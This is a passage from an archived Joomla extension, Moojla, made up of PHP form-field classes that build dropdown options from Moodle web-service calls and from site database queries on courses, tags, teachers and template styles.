JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
		$dataObj = array(
			"wsfunction"          => "moojla_get_cohorts",
			"moodlewsrestformat"  => "json",
		);

		$items =
json_decode(moojlaHelper::sendRequestToMoodle($dataObj)->response);
    
		$options = array();
		$options[] = JHtml::_('select.option', '',
'Select an option');
		if ($items)
		{
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id ,
$item->name);
			}
		}
		return $options;

	}
}
models/fields/mcoursefields.php000064400000004221151165724400012656
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		mcoursefields.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Mcoursefields Form Field class for the Moojla component
 */
class JFormFieldMcoursefields extends JFormFieldList
{
	/**
	 * The mcoursefields field type.
	 *
	 * @var		string
	 */
	public $type = 'mcoursefields';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.

		$options = array();
		$options[] = JHtml::_('select.option', '',
'Select an option');
		
		$items = array();
		JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
		$data = array(
			"wsfunction"          =>
"moojla_get_course_custom_fields",
			"moodlewsrestformat"  => "json",
		);
		$items =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
		foreach($items as $item)
		{
			$options[] = JHtml::_('select.option',
'cm_'.$item->id, $item->name);
		}
		return $options;
	}
}
models/fields/modulesfiltermodname.php000064400000004613151165724400014236
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		modulesfiltermodname.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Modulesfiltermodname Form Field class for the Moojla component
 */
class JFormFieldModulesfiltermodname extends JFormFieldList
{
	/**
	 * The modulesfiltermodname field type.
	 *
	 * @var		string
	 */
	public $type = 'modulesfiltermodname';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('modname'));
		$query->from($db->quoteName('#__moojla_module'));
		$query->order($db->quoteName('modname') . '
ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_MODULE_TYPE') .
' -');

		if ($results)
		{
			$results = array_unique($results);
			foreach ($results as $modname)
			{
				// Now add the modname and its text to the options array
				$_filter[] = JHtml::_('select.option', $modname, $modname);
			}
		}
		return $_filter;
	}
}
models/fields/modulesfiltermodulesectionid.php000064400000004765151165724400016015
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		modulesfiltermodulesectionid.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Modulesfiltermodulesectionid Form Field class for the Moojla component
 */
class JFormFieldModulesfiltermodulesectionid extends JFormFieldList
{
	/**
	 * The modulesfiltermodulesectionid field type.
	 *
	 * @var		string
	 */
	public $type = 'modulesfiltermodulesectionid';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('module_section_id'));
		$query->from($db->quoteName('#__moojla_module'));
		$query->order($db->quoteName('module_section_id') .
' ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_MODULE_SECTION_ID') .
' -');

		if ($results)
		{
			$results = array_unique($results);
			foreach ($results as $module_section_id)
			{
				// Now add the module_section_id and its text to the options array
				$_filter[] = JHtml::_('select.option', $module_section_id,
$module_section_id);
			}
		}
		return $_filter;
	}
}
models/fields/moodlecoursecategories.php000064400000004320151165724400014560
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moodlecoursecategories.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Moodlecoursecategories Form Field class for the Moojla component
 */
class JFormFieldMoodlecoursecategories extends JFormFieldList
{
	/**
	 * The moodlecoursecategories field type.
	 *
	 * @var		string
	 */
	public $type = 'moodlecoursecategories';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
				$user = JFactory::getUser();

		JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
		$dataObj = array(
			"wsfunction"          =>
"moojla_get_course_categories",
			"moodlewsrestformat"  => "json",
		);

		$items =
json_decode(moojlaHelper::sendRequestToMoodle($dataObj)->response);
    
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id ,
$item->name);
			}
		}
		return $options;
	}
}
models/fields/moodletag.php000064400000005140151165724400011766
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moodletag.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Moodletag Form Field class for the Moojla component
 */
class JFormFieldMoodletag extends JFormFieldList
{
	/**
	 * The moodletag field type.
	 *
	 * @var		string
	 */
	public $type = 'moodletag';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.tagid','a.tagname'),array('tagid','moodletag_tagname')));
		$query->from($db->quoteName('#__moojla_tag',
'a'));
		$query->where($db->quoteName('a.published') . ' =
1');
		$query->order('a.tagname ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__moojla_tag');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->tagid,
$item->moodletag_tagname);
			}
		}
		return $options;
	}
}
models/fields/moojlacourse.php000064400000005233151165724400012520
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moojlacourse.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Moojlacourse Form Field class for the Moojla component
 */
class JFormFieldMoojlacourse extends JFormFieldList
{
	/**
	 * The moojlacourse field type.
	 *
	 * @var		string
	 */
	public $type = 'moojlacourse';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.remoteid','a.fullname'),array('remoteid','moojlacourse_fullname')));
		$query->from($db->quoteName('#__moojla_course',
'a'));
		$query->where($db->quoteName('a.published') . ' =
1');
		// $query->order('a.fullname ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__moojla_course');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}








		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->remoteid,
$item->moojlacourse_fullname);
			}
		}
		return $options;
	}
}
models/fields/moojlacoursefield.php000064400000005265151165724400013531
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		moojlacoursefield.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Moojlacoursefield Form Field class for the Moojla component
 */
class JFormFieldMoojlacoursefield extends JFormFieldList
{
	/**
	 * The moojlacoursefield field type.
	 *
	 * @var		string
	 */
	public $type = 'moojlacoursefield';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.id','a.name'),array('id','coursefield_name')));
		$query->from($db->quoteName('#__fields',
'a'));
		$query->where($db->quoteName('a.state') . ' =
1');
		$query->where($db->quoteName('a.context') . ' =
"com_moojla.course"');
		$query->order('a.name ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__fields');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			$options[] = JHtml::_('select.option', '',
'Select an option');
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id,
$item->coursefield_name);
			}
		}
		return $options;
	}
}
models/fields/mtag.php000064400000005077151165724400010754 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		mtag.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Mtag Form Field class for the Moojla component
 */
class JFormFieldMtag extends JFormFieldList
{
	/**
	 * The mtag field type.
	 *
	 * @var		string
	 */
	public $type = 'mtag';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.tagid','a.tagname'),array('tagid','tag_tagname')));
		$query->from($db->quoteName('#__moojla_tag',
'a'));
		$query->where($db->quoteName('a.published') . ' =
1');
               $query->where($db->quoteName('a.isstandard')
. ' = 1');
		$query->order('a.tagname ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__moojla_tag');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->tagid,
$item->tag_tagname);
			}
		}
		return $options;
	}
}
models/fields/mteacher.php000064400000005661151165724400011613
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		mteacher.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Mteacher Form Field class for the Moojla component
 */
class JFormFieldMteacher extends JFormFieldList
{
	/**
	 * The mteacher field type.
	 *
	 * @var		string
	 */
	public $type = 'mteacher';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
$role=
JComponentHelper::getParams('com_moojla')->get('role');
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.mid','a.jid','u.name'),array('mid','teacher_jid','name')));
		$query->from($db->quoteName('#__moojla_user_map',
'a'));
	$query->join('inner',$db->quoteName('#__moojla_enrolment',
'e').' on
'.$db->quoteName('a.jid').'='.$db->quoteName('e.jid'));
		$query->join('inner',$db->quoteName('#__users',
'u').' on
'.$db->quoteName('a.jid').'='.$db->quoteName('u.id'));
		$query->where($db->quoteName('e.role') . ' =
'.$db->quote($role));
		$query->where($db->quoteName('a.published') . ' =
1');
		$query->order('a.jid ASC');
               $query->group('a.mid');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_moojla'))
		{
			$columns = $db->getTableColumns('#__moojla_user_map');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		if ($items)
		{
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->mid,
$item->name);
			}
		}
		return $options;
	}
}
models/fields/muserfields.php000064400000006106151165724400012340
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		muserfields.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Muserfields Form Field class for the Moojla component
 */
class JFormFieldMuserfields extends JFormFieldList
{
	/**
	 * The muserfields field type.
	 *
	 * @var		string
	 */
	public $type = 'muserfields';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
				// Get the user object.
		$fields = array ('firstname', 'lastname',
'email', 'icq', 'skype', 'yahoo',
'aim', 'msn', 'phone1', 'phone2',
'institution', 'department', 
					 'address', 'city', 'country',
'lang', 'timezone', 'idnumber',
'description', 'lastnamephonetic',
'firstnamephonetic', 'middlename',
'alternatename');

		$input = JFactory::getApplication()->input;
		$id = $input->get('id', 0);
		
		$options = array();
		$options[] = JHtml::_('select.option', '',
'Select an option');
		$items = array();
		JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
		$data = array(
			"wsfunction"          =>
"moojla_get_custom_fields",
			"moodlewsrestformat"  => "json",
		);
		$items =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
		
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('muserfields')));
		$query->from($db->quoteName('#__moojla_user_field_map'));
		$query->where($db->quoteName('id') . ' <>
' . $db->quote($id));
		$query->where($db->quoteName('published') . ' =
1');
		$db->setQuery($query);
		$selectedbefore = $db->loadColumn();
		
		foreach($fields as $field)
		{
			if(!in_array('sm_'.$field, $selectedbefore))
				$options[] = JHtml::_('select.option',
'sm_'.$field, $field);
		}
		foreach($items as $item)
		{
			if(!in_array('cm_'.$item->id, $selectedbefore))
				$options[] = JHtml::_('select.option',
'cm_'.$item->id, $item->name);
		}
		return $options;
	}
}
models/fields/mycustomtemplatestyle.php000064400000006327151165724400014520
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		mycustomtemplatestyle.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Mycustomtemplatestyle Form Field class for the Moojla component
 */
class JFormFieldMycustomtemplatestyle extends JFormFieldList
{
	/**
	 * The mycustomtemplatestyle field type.
	 *
	 * @var		string
	 */
	public $type = 'mycustomtemplatestyle';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('a.id','a.title'),array('id','course_templatestyle_title')));
		$query->from($db->quoteName('#__template_styles',
'a'));
		$query->where($db->quoteName('a.client_id') . ' =
0');
		$query->order('a.title ASC');
		// Implement View Level Access (if set in table)
		if (!$user->authorise('core.options',
'com_templates'))
		{
			$columns = $db->getTableColumns('#__template_styles');
			if(isset($columns['access']))
			{
				$groups = implode(',', $user->getAuthorisedViewLevels());
				$query->where('a.access IN (' . $groups . ')');
			}
		}
		$db->setQuery((string)$query);
		$items = $db->loadObjectList();
		$options = array();
		$tmp_op = array();
		if ($items)
		{
			$first = current($items);
			$lbl = explode(' - ',
$first->course_templatestyle_title)[0];
			$options[] = JHtml::_('select.option', '',
JText::_('JOPTION_USE_DEFAULT'));
			$groups = array();
			foreach($items as $item)
			{
				$thislbl = explode(' - ',
$item->course_templatestyle_title)[0];
				 $groups[$thislbl][] = ['id' => $item->id,
'course_templatestyle_title' =>
$item->course_templatestyle_title];
			}
			foreach($groups as $gkey => $group)
			{
				$options[] = JHtmlSelect::optgroup($gkey);
				foreach($group as $item)
				{          
					$options[] = JHtml::_('select.option',
$item['id'], $item['course_templatestyle_title']);
				}
				$options[] = JHtmlSelect::optgroup($gkey);
			}
////
		}
		return $options;
	}
}
models/fields/sectionsfiltercourseid.php000064400000004631151165724400014612
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		sectionsfiltercourseid.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Sectionsfiltercourseid Form Field class for the Moojla component
 */
class JFormFieldSectionsfiltercourseid extends JFormFieldList
{
	/**
	 * The sectionsfiltercourseid field type.
	 *
	 * @var		string
	 */
	public $type = 'sectionsfiltercourseid';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('courseid'));
		$query->from($db->quoteName('#__moojla_section'));
		$query->order($db->quoteName('courseid') . '
ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_COURSEID') . '
-');

		if ($results)
		{
